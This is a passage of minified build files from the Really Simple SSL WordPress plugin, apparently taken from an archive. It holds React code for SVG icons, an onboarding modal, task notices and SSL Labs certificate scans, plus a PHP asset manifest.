28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zM160 144c-13.3 0-24 10.7-24 24s10.7 24 24 24h94.1L119 327c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l135-135V328c0 13.3 10.7 24 24 24s24-10.7 24-24V168c0-13.3-10.7-24-24-24H160z"}))),"shield"===n&&(m=(0,l.createElement)("svg",{height:i,"aria-hidden":"true",focusable:"false",role:"img",id:"uuid-026a4e87-44db-4336-a398-3c29d25b7317",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 280.8 363.67"},(0,l.createElement)("path",{fill:"#f9c23e",d:"M280.8,62.4L140.5,0,0,62.2V213.3c0,10.7,1.6,21.3,4.9,31.5,9.5,29.9,28.2,52.8,54.4,69.5,26,16.6,52.4,32.4,78.6,48.6,2,1.2,3.4,.9,5.1-.2,19.9-12.3,39.8-24.5,59.6-36.8,12.6-7.8,25.5-15.1,36.5-25.1,26.4-24.2,41.4-53.6,41.5-89.9V62.4h.2Z"}),(0,l.createElement)("g",null,(0,l.createElement)("g",null,(0,l.createElement)("rect",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",x:"155",y:"266.8",width:"77.6",height:"6"}),(0,l.createElement)("path",{fill:"#1d2327",d:"M224.4,204.5h-1.8v-10.1c0-15.9-12.9-28.8-28.8-28.8s-28.8,12.9-28.8,28.8v10.1h-1.8c-4.6,0-8.3,3.7-8.3,8.3v51.3h77.6v-51.3c0-4.6-3.7-8.3-8.3-8.3h.2Zm-45.3-10.1c0-8.1,6.6-14.7,14.7-14.7s14.7,6.6,14.7,14.7v10.1h-29.5v-10.1h.1Zm36.6,32.9l-20.7,20.2c-.2,.2-.3,.4-.5,.6l-2,2c-.2,.2-.4,.4-.6,.5l-3.8,3.8-4.5-4.3-2-2c-.2-.2-.4-.4-.5-.6l-9.1-9.1c-2.4-2.4-2.4-6.4,0-8.8l2-2c2.4-2.4,6.4-2.4,8.8,0l5.3,5.3,16.9-16.4c2.4-2.4,6.4-2.4,8.8,0l2,2c2.4,2.4,2.4,6.4,0,8.8h-.1Z"})),(0,l.createElement)("g",null,(0,l.createElement)("path",{fill:"#1d2327",d:"M125.2,192.3c-.5-2.9-.5-5.8-1-8.6-.5-2.4-2.6-4-4.8-3.9-2.3,0-4.2,1.9-4.7,4.3-.2,1,0,1.9,0,2.9,.8,14.6,7.2,26.3,18.2,35.7,2.2,1.9,4.5,3.5,6.9,4.8v-11.8c-7.4-5.8-12.9-14.1-14.6-23.3v-.1Z"}),(0,l.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M96.4,236.1c-13-15-20-32.3-19.5-52.3,.3-13.1,6.1-23.6,16.6-31.2,11.5-8.5,24.5-10.9,38.3-7.1,12.7,3.5,22,10.7,27.4,22,2.1-2.7,4.5-5.2,7.2-7.4-4-7-9.7-12.9-17-17.4-17-10.4-34.9-11.7-52.9-3.1-19,9.1-28.7,24.7-29.3,45.8,0,5.2,.5,10.2,1.4,15.2,3.4,19.4,13.4,35.2,27.2,48.9,1.1,1.1,2.5,1.6,4.1,1.4,1.8-.2,3.2-1.3,3.8-3,.6-1.8,.4-3.6-1-5.1-2.1-2.2-4.2-4.4-6.2-6.7h-.1Z"}),(0,l.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M68.1,89.4c1.1-.4,2.1-1,3.1-1.5,17.9-9.1,36.8-12.7,56.8-11.3,12.2,.8,23.9,3.8,35.1,8.7,3,1.3,5.9,2.8,8.9,4.1,2.7,1.1,5.3,0,6.4-2.4,1.1-2.3,0-5-2.3-6.3-11-5.7-22.4-10-34.6-12.3-4.2-.8-8.5-1.1-12.8-1.7h-17.1c-.3,0-.6,.2-.9,.2-11.2,.8-22,3.2-32.5,7.2-4.9,1.9-9.7,4.1-14.3,6.6-2.5,1.3-3.4,4.2-2.2,6.5,1.1,2.2,4,3.2,6.4,2.1v.1Z"}),(0,l.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M61.1,153.5c13.6-21.6,33.6-31.5,58.7-32.1h6c.8,0,1.6,.2,2.3,.3,13.4,1.7,25.5,6.6,35.9,15.4,5.8,4.9,10.5,10.3,14.1,16.2,3.1-1.2,6.4-2,9.8-2.5-4.7-8.7-11.3-16.3-19.6-22.7-19-14.6-40.5-19.5-64.1-15.1-14.3,2.7-26.9,9-37.7,18.8-10.4,9.5-17.8,20.9-21.2,34.6-2.8,11.3-2.6,22.7-.9,34.1,1.1,7,2.9,13.9,5.4,20.5,.9,2.3,3,3.7,5.2,3.5,2.1-.2,3.9-2,4.3-4.3,.2-1.1-.2-2.2-.6-3.2-4.3-11.9-6.3-24.1-5.6-36.7,.5-9.6,2.8-18.7,8-26.8h0Z"}),(0,l.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M139.8,240.6c-20.9-8.4-34.1-23.7-38.4-46.7-.8-4.3-1.4-8.7-.4-13,1.8-7.1,6.4-11.4,13.4-13.5,11.8-3.4,24.7,5.3,24.5,17.6,0,4.8,1.4,9.3,4,13.4,.3,.5,.6,.9,.9,1.3,1.6-2.4,3.7-4.6,6.1-6.2,0-.9,0-1.9,.2-2.8-.7-1.7-1.1-3.5-1.2-5.3-.3-6.1-1.6-11.9-5.5-16.8-6.8-8.8-15.9-12.4-27-11.5-11.3,.9-21.6,9.6-24.5,20.6-1.8,6.6-.9,13.3,.4,19.8,2.4,12.9,8.2,24,17.1,33.7,8.6,9.4,18.8,15.8,30.6,19.8v-10.4h-.2Z"}),(0,l.createElement)("path",{className:"uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4",d:"M47.5,133.2c6.8-8.8,15-16,24.6-21.6,20.8-12,43.2-15.2,66.6-11,14.8,2.7,28.2,8.7,39.9,18.2,6.3,5,11.6,11,16.4,17.4,1.9,2.5,4.8,2.8,7,1.1,2.1-1.7,2.4-4.5,.6-7-5.9-8.2-12.8-15.3-20.9-21.3-18.3-13.6-39.1-19.6-61.7-20-6.3,0-12.5,.6-18.6,1.6-15.7,2.8-30.1,8.6-42.9,18.1-8.3,6.2-15.5,13.5-21.5,22-1.6,2.3-1.3,5.1,.7,6.7,2.1,1.7,4.9,1.5,6.8-.7,1-1.2,1.9-2.5,2.9-3.7l.1,.2Z"}))))),"file-search"===n&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",height:i,fill:"none",viewBox:"0 0 384 512"},(0,l.createElement)("path",{d:"M374.6 150.6l-141.3-141.3C227.4 3.371 219.2 0 210.7 0H64C28.65 0 0 28.65 0 64l.0065 384c0 35.34 28.65 64 64 64H320c35.35 0 64-28.66 64-64V173.3C384 164.8 380.6 156.6 374.6 150.6zM224 22.63L361.4 160H248C234.8 160 224 149.2 224 136V22.63zM368 448c0 26.47-21.53 48-48 48H64c-26.47 0-48-21.53-48-48V64c0-26.47 21.53-48 48-48h144v120c0 22.06 17.94 40 40 40h120V448zM176 208c-53.02 0-96 42.98-96 96s42.98 96 96 96c23.62 0 44.96-8.859 61.68-23l68.66 68.66C307.9 447.2 309.9 448 312 448s4.094-.7813 5.656-2.344c3.125-3.125 3.125-8.188 0-11.31l-68.66-68.66C263.1 348.1 272 327.6 272 304C272 250.1 229 208 176 208zM176 384C131.9 384 96 348.1 96 304S131.9 224 176 224S256 259.9 256 304S220.1 384 176 384z"}))),"download"===n&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",height:i,fill:"none",viewBox:"0 0 512 512"},(0,l.createElement)("path",{d:"M480 352h-88C387.6 352 384 355.6 384 360s3.582 8 8 8H480c8.822 0 16 7.178 16 16v96c0 8.822-7.178 16-16 16H32c-8.822 0-16-7.178-16-16v-96c0-8.822 7.178-16 16-16h88C124.4 368 128 364.4 128 360S124.4 352 120 352H32c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-96C512 366.3 497.7 352 480 352zM464 432c0-17.6-14.4-32-32-32s-32 14.4-32 32c0 17.6 14.4 32 32 32S464 449.6 464 432zM416 432c0-8.822 7.178-16 16-16s16 7.178 16 16S440.8 448 432 448S416 440.8 416 432zM250.3 413.7c3.125 3.125 8.188 3.125 11.31 0l152-152C415.2 260.1 416 258.1 416 256s-.7813-4.094-2.344-5.656c-3.125-3.125-8.188-3.125-11.31 0L264 388.7V8C264 3.594 260.4 0 256 0S248 3.594 248 8v380.7L109.7 250.3c-3.125-3.125-8.188-3.125-11.31 0s-3.125 8.188 0 11.31L250.3 413.7z"}))),"satellite-dish"===n&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",color:o[c],height:i,viewBox:"0 0 512 512"},(0,l.createElement)("path",{d:"M208 0c-8.8 0-16 7.2-16 16s7.2 16 16 16c150.2 0 272 121.8 272 272c0 8.8 7.2 16 16 16s16-7.2 16-16C512 136.1 375.9 0 208 0zm0 96c-8.8 0-16 7.2-16 16s7.2 16 16 16c97.2 0 176 78.8 176 176c0 8.8 7.2 16 16 16s16-7.2 16-16c0-114.9-93.1-208-208-208zM32 304c0-24.5 5-47.7 13.9-68.8L276.8 466.1C255.7 475 232.5 480 208 480c-97.2 0-176-78.8-176-176zm33.5-94.5c-14-14-37.3-12.1-45.7 5.8C7.1 242.2 0 272.3 0 304C0 418.9 93.1 512 208 512c31.7 0 61.8-7.1 88.7-19.8c17.9-8.4 19.8-31.8 5.8-45.7L195.3 339.3l24-24c6.3 3 13.3 4.7 20.7 4.7c26.5 0 48-21.5 48-48s-21.5-48-48-48s-48 21.5-48 48c0 7.4 1.7 14.4 4.7 20.7l-24 24L65.5 209.5zM224 272a16 16 0 1 1 32 0 16 16 0 1 1 -32 0z"}))),"rotate-light"===n&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",color:o[c],height:i,viewBox:"0 0 512 512"},(0,l.createElement)("path",{d:"M426.1 301.2C406.2 376.5 337.6 432 256 432c-51 0-96.9-21.7-129-56.3l41-41c5.1-5.1 8-12.1 8-19.3c0-15.1-12.2-27.3-27.3-27.3H48c-8.8 0-16 7.2-16 16V404.7C32 419.8 44.2 432 59.3 432c7.2 0 14.2-2.9 19.3-8l25.7-25.7C142.3 438.7 196.2 464 256 464c97.4 0 179.2-67 201.8-157.4c2.4-9.7-5.2-18.6-15.2-18.6c-7.8 0-14.5 5.6-16.5 13.2zM385 136.3l-41 41c-5.1 5.1-8 12.1-8 19.3c0 15.1 12.2 27.3 27.3 27.3H464c8.8 0 16-7.2 16-16V107.3C480 92.2 467.8 80 452.7 80c-7.2 0-14.2 2.9-19.3 8l-25.7 25.7C369.7 73.3 315.8 48 256 48C158.6 48 76.8 115 54.2 205.4c-2.4 9.7 5.2 18.6 15.2 18.6c7.8 0 14.5-5.6 16.5-13.2C105.8 135.5 174.4 80 256 80c51 0 96.9 21.7 129.1 56.3zM448 192H374.6L448 118.6V192zM64 320h73.4L64 393.4V320z"}))),"rotate-exclamation-light"===n&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("defs",null,(0,l.createElement)("style",null,`\n            .fa-secondary {\n              opacity: 0.4;\n              color: ${o[c]};\n            }\n          `)),(0,l.createElement)("path",{className:"fa-primary",d:"M280 152c0-13.3-10.7-24-24-24s-24 10.7-24 24V264c0 13.3 10.7 24 24 24s24-10.7 24-24V152zM256 384a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"}),(0,l.createElement)("path",{className:"fa-secondary",d:"M432 117.4C391 65.4 327.4 32 256 32C158.4 32 75.5 94.4 44.8 181.3c-5.9 16.7 2.8 34.9 19.5 40.8s34.9-2.8 40.8-19.5C127.1 140.5 186.4 96 256 96c52.3 0 98.8 25.1 128 64H352c-17.7 0-32 14.3-32 32s14.3 32 32 32h84.3c.5 0 1 0 1.5 0H464c17.7 0 32-14.3 32-32V80c0-17.7-14.3-32-32-32s-32 14.3-32 32v37.4zm35.2 213.2c5.9-16.7-2.8-34.9-19.5-40.8s-34.9 2.8-40.8 19.5C384.9 371.5 325.6 416 256 416c-52.3 0-98.8-25.1-128-64h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H48c-17.7 0-32 14.3-32 32V432c0 17.7 14.3 32 32 32s32-14.3 32-32V394.6c41 52 104.6 85.4 176 85.4c97.6 0 180.5-62.4 211.2-149.3z"}))),"radar-duotone"===n&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("defs",null,(0,l.createElement)("style",null,`\n            .fa-secondary {\n              color: ${o[c]} !important;\n            }        \n          `)),(0,l.createElement)("path",{className:"fa-primary",d:"M497 49c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-182 182c-7.7-3.3-16.1-5.1-25-5.1c-35.3 0-64 28.7-64 64s28.7 64 64 64s64-28.7 64-64c0-8.9-1.8-17.3-5.1-25L497 49z"}),(0,l.createElement)("path",{className:"fa-secondary",d:"M350.9 127.2l-46.1 46.1c-14.3-8.4-31-13.3-48.8-13.3c-53 0-96 43-96 96s43 96 96 96s96-43 96-96h64c0 73.5-49.6 135.5-117.2 154.2C290.8 394.7 274.7 384 256 384s-34.8 10.7-42.8 26.2c-51.7-14.3-92.8-53.9-109.4-104.6c14.4-8.3 24.1-23.8 24.1-41.7c0-19.4-11.5-36.1-28-43.7C116.2 149.1 179.9 96 256 96c35.5 0 68.3 11.6 94.9 31.2zm22.8-22.8C341.2 79 300.4 64 256 64C163.1 64 85.7 129.9 67.9 217.6C47.2 222.9 32 241.7 32 264c0 23.8 17.3 43.6 40.1 47.4c19.3 64.3 71.5 114.4 137 130.9C213.8 463.8 233 480 256 480s42.2-16.2 46.9-37.8C386.3 421.3 448 345.9 448 256h64c0 141.4-114.6 256-256 256S0 397.4 0 256S114.6 0 256 0c62.1 0 118.9 22.1 163.3 58.8l-45.5 45.5z"}))),"satellite-dish-duotone"===n&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",height:i},(0,l.createElement)("defs",null,(0,l.createElement)("style",null,`\n            .fa-secondary {\n              color: ${o[c]} !important;\n            }        \n          `)),(0,l.createElement)("path",{className:"fa-primary",d:"M60.6 220.6c-14.5-14.5-38.8-11.8-46.3 7.3C5.1 251.5 0 277.1 0 304C0 418.9 93.1 512 208 512c26.9 0 52.5-5.1 76.1-14.4c19-7.5 21.8-31.8 7.3-46.3L187.3 347.3l28.4-28.4c2.6 .7 5.4 1.1 8.3 1.1c17.7 0 32-14.3 32-32s-14.3-32-32-32s-32 14.3-32 32c0 2.9 .4 5.6 1.1 8.3l-28.4 28.4L60.6 220.6z"}),(0,l.createElement)("path",{className:"fa-secondary",d:"M224 0c-17.7 0-32 14.3-32 32s14.3 32 32 32c123.7 0 224 100.3 224 224c0 17.7 14.3 32 32 32s32-14.3 32-32C512 128.9 383.1 0 224 0zm0 96c-17.7 0-32 14.3-32 32s14.3 32 32 32c70.7 0 128 57.3 128 128c0 17.7 14.3 32 32 32s32-14.3 32-32c0-106-86-192-192-192z"}))),"spinner"===n&&(m=(0,l.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 512 512",width:"20",height:"20"},(0,l.createElement)("defs",null,(0,l.createElement)("style",null,"\n                            .fa-secondary {\n                              opacity: 0.4;\n                            }\n                          ")),(0,l.createElement)("path",{className:"fa-primary",d:"M304 48a48 48 0 1 0 -96 0 48 48 0 1 0 96 0zM96 256A48 48 0 1 0 0 256a48 48 0 1 0 96 0zM75 142.9A48 48 0 1 0 142.9 75 48 48 0 1 0 75 142.9z"}),(0,l.createElement)("path",{className:"fa-secondary",d:"M369.1 75A48 48 0 1 1 437 142.9 48 48 0 1 1 369.1 75zM416 256a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM208 464a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM75 369.1A48 48 0 1 1 142.9 437 48 48 0 1 1 75 369.1zm294.2 0A48 48 0 1 1 437 437a48 48 0 1 1 -67.9-67.9z"}))),(0,l.createElement)("div",{...e,ref:s},m)})),n=({name:e,color:s,size:t,tooltip:n})=>{const c=e||"bullet",i=s||"black";let o=t||15,m=n?"tooltip-":"",d=Math.floor(1e9*Math.random());return n?(0,l.createElement)("div",{className:"rsssl-"+m+"icon rsssl-icon-"+c+" rsssl-"+i},(0,l.createElement)(r,{"data-for":".rsssl-"+d,name:c,color:i,size:o,id:d,className:"rsssl-"+d,"data-tooltip-delay-hide":200}),(0,l.createElement)(a.m_,{style:{zIndex:99},id:d,place:"bottom",anchorSelect:".rsssl-"+d,content:n})):(0,l.createElement)("div",{className:"rsssl-"+m+"icon rsssl-icon-"+c+" rsssl-"+i},(0,l.createElement)(r,{name:c,color:i,size:o}))}}}]);really-simple-ssl/settings/build/index.dc0e12538832ff741b9e.asset.php000064400000000273147510273070020651 0ustar00<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices'), 'version' => 'dc0e12538832ff741b9e');
really-simple-ssl/settings/build/814.bf34d42ff1e29e8eb70d.js000064400000157623147510273070017022 0ustar00"use strict";(self.webpackChunkreally_simple_ssl=self.webpackChunkreally_simple_ssl||[]).push([[814],{2828:(e,t,l)=>{l.d(t,{A:()=>r});var s=l(1621),a=l(4110);const r=(0,s.vt)(((e,t)=>({filter:"all",progressText:"",notices:[],error:!1,percentageCompleted:0,progressLoaded:!1,setFilter:t=>{sessionStorage.rsssl_task_filter=t,e((e=>({filter:t})))},fetchFilter:()=>{if("undefined"!=typeof Storage&&sessionStorage.rsssl_task_filter){let t=sessionStorage.rsssl_task_filter;e((e=>({filter:t})))}},getProgressData:async()=>{const{percentage:t,text:l,notices:s,error:r}=await a.YA("progressData","refresh").then((e=>e));e((e=>({notices:s,percentageCompleted:t,progressText:l,progressLoaded:!0,error:r})))},dismissNotice:async l=>{let s=t().notices;s=s.filter((function(e){return e.id!==l})),e((e=>({notices:s})));const{percentage:r}=await a.YA("dismiss_task",l);e({percentageCompleted:r})}})))},3056:(e,t,l)=>{l.d(t,{A:()=>r});var s=l(1621),a=l(4110);const r=(0,s.vt)(((e,t)=>({debug:!1,sslScanStatus:!1,sslData:!1,endpointData:[],dataLoaded:!1,clearCache:!1,requestActive:!1,intervalId:!1,setIntervalId:t=>e({intervalId:t}),setRequestActive:t=>e({requestActive:t}),setSslScanStatus:t=>e({sslScanStatus:t}),setClearCache:t=>e({clearCache:t}),setSslData:t=>e({sslData:t}),setEndpointData:t=>e({endpointData:t}),isLocalHost:()=>!t().debug&&-1!==window.location.host.indexOf("localhost"),host:()=>t().debug?"wordpress.org":window.location.host,fetchSslData:async()=>{a.Eo("ssltest_get").then((l=>{if(l.data.hasOwnProperty("host")){let s=t().processSslData(l.data);e({sslData:s,endpointData:s.endpointData,dataLoaded:!0})}}))},getSslLabsData:l=>{let s="";t().clearCache&&(e({clearCache:!1,sslData:!1}),s="&startNew=on");const r="https://api.ssllabs.com/api/v3/analyze?host="+t().host()+s;let n={};return n.url=r,a.Eo("ssltest_run",n).then((e=>!(!e||e.errors)&&JSON.parse(e)))},runSslTest:()=>{t().getSslLabsData().then((l=>{if(l.status&&"ERROR"===l.status)l=t().processSslData(l),e({sslData:l,sslScanStatus:"completed"}),clearInterval(t().intervalId);else if(l.endpoints&&l.endpoints.filter((e=>"Ready"===e.statusMessage)).length>0){let s=l.endpoints.filter((e=>"Ready"===e.statusMessage)),r=s[s.length-1].ipAddress;t().getEndpointData(r).then((s=>{let r=t().endpointData;if(Array.isArray(r)||(r=[]),!s.errors){let t=!1;r.length>0&&r.forEach((function(e,l){e.ipAddress===s.ipAddress&&(r[l]=s,t=!0)})),t||(r[r.length]=s),e({endpointData:r}),l.endpointData=r}l.errors||a.Eo("store_ssl_labs",l),l=t().processSslData(l),e({sslData:l,requestActive:!1})}))}else(l=t().processSslData(l)).errors||a.Eo("store_ssl_labs",l).then((e=>{})),e({sslData:l,requestActive:!1})}))},processSslData:t=>{t||(t={});let l=t.progress?t.progress:0,s=t.startTime?t.startTime:"",a=t.statusMessage?t.statusMessage:"",r=t.grade?t.grade:"?",n="";if(t.endpoints){let e=t.endpoints.filter((e=>"Ready"===e.statusMessage)),s=e.length,i=e[s-1],c=t.endpoints.filter((e=>"In progress"===e.statusMessage))[0],o=0;c&&(o=c.progress?c.progress:0,a=c.statusDetailsMessage,n=c.ipAddress),i&&(r=i.grade),l=(100*s+o)/t.endpoints.length}t.errors&&(r="?",a=t.errors[0].message,l=100);let i={};return l>=100&&e({sslScanStatus:"completed"}),i.grade=r,i.startTime=s,i.statusMessage=a,i.ipAddress=n,i.progress=l,t.summary=i,t},getEndpointData:e=>{const l="https://api.ssllabs.com/api/v3/getEndpointData?host="+t().host()+"&s="+e;let s={};return s.url=l,a.Eo("ssltest_run",s).then((e=>{if(e&&!e.errors)return JSON.parse(e)}))}})))},9684:(e,t,l)=>{l.d(t,{A:()=>p});var s=l(1609),a=l(7723),r=l(4937),n=l(4110),i=l(6975),c=l(2828),o=l(2043),m=l(2838),d=l.n(m),u=l(6087);const p=e=>{const{dismissNotice:t,getProgressData:l}=(0,c.A)(),{getField:m,setHighLightField:p,showSavedSettingsNotice:h}=(0,i.A)(),{setSelectedSubMenuItem:g}=(0,o.A)(),[f,v]=(0,u.useState)(!1);let E=e.notice,w="premium"===E.output.icon,C=E.output.url&&-1!==E.output.url.indexOf("really-simple-ssl.com");return(0,s.createElement)("div",{className:"rsssl-task-element"},(0,s.createElement)("span",{className:"rsssl-task-status rsssl-"+E.output.icon},E.output.label),(0,s.createElement)("p",{className:"rsssl-task-message",dangerouslySetInnerHTML:{__html:d().sanitize(E.output.msg)}})," ",C&&E.output.url&&(0,s.createElement)("a",{target:"_blank",rel:"noopener noreferrer",href:E.output.url},(0,a.__)("More info","really-simple-ssl")),E.output.clear_cache_id&&(0,s.createElement)("span",{className:"rsssl-task-enable button button-secondary",onClick:()=>(e=>{v(!0);let t={};t.cache_id=e,n.Eo("clear_cache",t).then((e=>{v(!1),h((0,a.__)("Re-started test","really-simple-ssl")),l()}))})(E.output.clear_cache_id)},(0,a.__)("Re-check","really-simple-ssl")),E.output.fix_id&&(0,s.createElement)("span",{className:"rsssl-task-enable button button-secondary",onClick:()=>(e=>{let t={};t.fix_id=e,v(!0),n.Eo("fix",t).then((e=>{v(!1),h(e.msg),l()}))})(E.output.fix_id)},!f&&(0,a.__)("Fix","really-simple-ssl"),f&&(0,s.createElement)(r.default,{name:"loading",color:"black",size:14})),!w&&!C&&E.output.url&&(0,s.createElement)("a",{className:"rsssl-task-enable button button-secondary",href:E.output.url},!f&&(0,a.__)("View","really-simple-ssl"),f&&(0,s.createElement)(r.default,{name:"loading",color:"black",size:14})),!w&&E.output.highlight_field_id&&(0,s.createElement)("span",{className:"rsssl-task-enable button button-secondary",onClick:()=>(async()=>{p(e.notice.output.highlight_field_id);let t=m(e.notice.output.highlight_field_id);await g(t.menu_id)})()},(0,a.__)("View","really-simple-ssl")),E.output.plusone&&(0,s.createElement)("span",{className:"rsssl-plusone"},"1"),E.output.dismissible&&"completed"!==E.output.status&&(0,s.createElement)("div",{className:"rsssl-task-dismiss"},(0,s.createElement)("button",{type:"button",onClick:e=>t(E.id)},(0,s.createElement)(r.default,{name:"times"}))))}},3201:(e,t,l)=>{l.d(t,{A:()=>y});var s=l(1609),a=l(6087),r=l(7723),n=l(4937),i=l(9695),c=l(6975),o=l(7283),m=l(5281);const d=(0,a.memo)((()=>{const{fetchFieldsData:e,getFieldValue:t,fieldsLoaded:l}=(0,c.A)(),{email:n,setEmail:i,includeTips:m,setIncludeTips:d}=(0,o.A)();return(0,a.useEffect)((()=>{l||e()}),[]),(0,a.useEffect)((()=>{""!==t("notifications_email_address")&&""===n&&i(t("notifications_email_address"))}),[]),(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",null,(0,s.createElement)("input",{type:"email",value:n,placeholder:(0,r.__)("Your email address","really-simple-ssl"),onChange:e=>i(e.target.value)})),(0,s.createElement)("div",null,(0,s.createElement)("label",null,(0,s.createElement)("input",{onChange:e=>d(e.target.checked),type:"checkbox",checked:m}),(0,r.__)("Include 6 Tips & Tricks to get started with Really Simple Security.","really-simple-ssl")," ",(0,s.createElement)("a",{href:"https://really-simple-ssl.com/legal/privacy-statement/",target:"_blank"},(0,r.__)("Privacy Statement","really-simple-ssl")))))}));var u=l(489);const p=(0,a.memo)((({item:e})=>{let{title:t,status:l,id:a}=e;const{overrideSSL:i,setOverrideSSL:c,certificateValid:m}=(0,o.A)(),d={inactive:{icon:"info",color:"grey"},warning:{icon:"circle-times",color:"orange"},error:{icon:"circle-times",color:"red"},success:{icon:"circle-check",color:"green"},processing:{icon:"loading",color:"black"}},u="success"!==e.status&&"none"===e.current_action?"empty":d[l].icon,p=d[l].color;return(0,s.createElement)(s.Fragment,null,(0,s.createElement)("li",null,(0,s.createElement)(n.default,{name:u,color:p}),t,"certificate"===a&&!m&&(0,s.createElement)(s.Fragment,null," ",(0,s.createElement)("a",{href:"#",onClick:e=>refreshSSLStatus(e)},(0,r.__)("Check again","really-simple-ssl")))),"certificate"===a&&!m&&(0,s.createElement)("li",null,(0,s.createElement)("label",{className:"rsssl-override-detection-toggle"},(0,s.createElement)("input",{onChange:e=>c(e.target.checked),type:"checkbox",checked:i}),(0,r.__)("Override SSL detection.","really-simple-ssl"))))})),h=(0,a.memo)((({isModal:e})=>{const{fetchFieldsData:t,getField:l,fieldsLoaded:r,updateField:n,setChangedField:i,saveFields:m}=(0,c.A)(),{currentStep:d}=(0,o.A)();(0,a.useEffect)((()=>{r||t()}),[]);let h=r&&l("other_host_type"),g=d.items?d.items:[];if(rsssl_settings.cloudflare&&!g.some((e=>"cf"===e.id))){let e={status:"success",title:"CloudFlare",id:"cf"};g.unshift(e)}return(0,s.createElement)(s.Fragment,null,e&&(0,s.createElement)(u.A,{field:h,showDisabledWhenSaving:!1}),(0,s.createElement)("ul",null,g&&g.map(((e,t)=>(0,s.createElement)(p,{key:"step-config-"+t,item:e})))))}));var g=l(5035),f=l(5683);const v=(0,a.memo)((()=>{const{currentStepIndex:e,setCurrentStepIndex:t}=(0,o.A)(),{getField:l}=(0,c.A)(),{licenseStatus:r}=(0,f.A)(),n=rsssl_settings.pro_plugin_active;return(0,a.useEffect)((()=>{n&&"valid"!==r||t(e+1)}),[r,n]),(0,s.createElement)("div",{className:"rsssl-license"},(0,s.createElement)(g.A,{field:l("license"),isOnboarding:!0}))})),E=(0,a.memo)((({item:e,disabled:t})=>{const{updateItemStatus:l,currentStep:a}=(0,o.A)();let{title:r,description:n,id:i,activated:c}=e;return(0,s.createElement)("li",null,(0,s.createElement)("label",{className:"rsssl-modal-checkbox-container"},(0,s.createElement)("input",{type:"checkbox",disabled:t,checked:c,value:i,id:i,onChange:e=>l(a.id,i,null,null,e.target.checked)}),(0,s.createElement)("span",{className:"rsssl-checkmark"})),r,n&&(0,s.createElement)(s.Fragment,null," - ",n))})),w=(0,a.memo)((({item:e})=>{let{title:t}=e;return(0,s.createElement)("li",null,(0,s.createElement)("div",{className:"rsssl-modal-premium-container"},"PRO"),t)})),C=(0,a.memo)((()=>{const{currentStep:e}=(0,o.A)();let t=e.items?e.items:[],l=t.filter((e=>!e.premium)),a=t.filter((e=>e.premium));return(0,s.createElement)(s.Fragment,null,(0,s.createElement)("ul",null,l&&(0,s.createElement)("div",{className:"rsssl-checkbox-items"},l.map(((e,t)=>(0,s.createElement)(E,{key:"step-features"+t,item:e})))),a&&(0,s.createElement)("div",{className:"rsssl-premium-items"},a.map(((e,t)=>(0,s.createElement)(w,{key:"step-features"+t,item:e}))))))})),_=(0,a.memo)((()=>{const{currentStep:e,currentStepIndex:t,setCurrentStepIndex:l}=(0,o.A)();(0,a.useEffect)((()=>{0===e.items.filter((e=>"none"!==e.action)).length&&l(t+1)}),[]);let r=e.items;return(0,s.createElement)(s.Fragment,null,(0,s.createElement)("ul",null,r&&r.map(((e,t)=>(0,s.createElement)(E,{key:"step-plugins"+t,item:e,disabled:"none"===e.action})))))})),b=(0,a.memo)((()=>{const{currentStep:e}=(0,o.A)();let t=e.items;return(0,s.createElement)(s.Fragment,null,(0,s.createElement)("ul",null,!rsssl_settings.pro_plugin_active&&t&&(0,s.createElement)("div",{className:"rsssl-premium-items"},t.map(((e,t)=>(0,s.createElement)(w,{key:"step-pro"+t,item:e})))),rsssl_settings.pro_plugin_active&&t&&(0,s.createElement)("div",{className:"rsssl-checkbox-items"},t.map(((e,t)=>(0,s.createElement)(E,{key:"step-pro"+t,item:e}))))))}));l(2838);const y=({isModal:e})=>{const{fetchFieldsData:t,fieldsLoaded:l}=(0,c.A)(),{getSteps:u,error:p,networkwide:g,sslEnabled:f,dataLoaded:E,processing:w,currentStep:y,currentStepIndex:S,setCurrentStepIndex:M,networkActivationStatus:z,networkProgress:x,activateSSLNetworkWide:k}=(0,o.A)();return(0,a.useEffect)((()=>{g&&"main_site_activated"===z&&setTimeout((()=>{k()}),1e3)}),[z,x]),(0,a.useEffect)((()=>{l||t()}),[]),(0,a.useEffect)((()=>{(async()=>{await 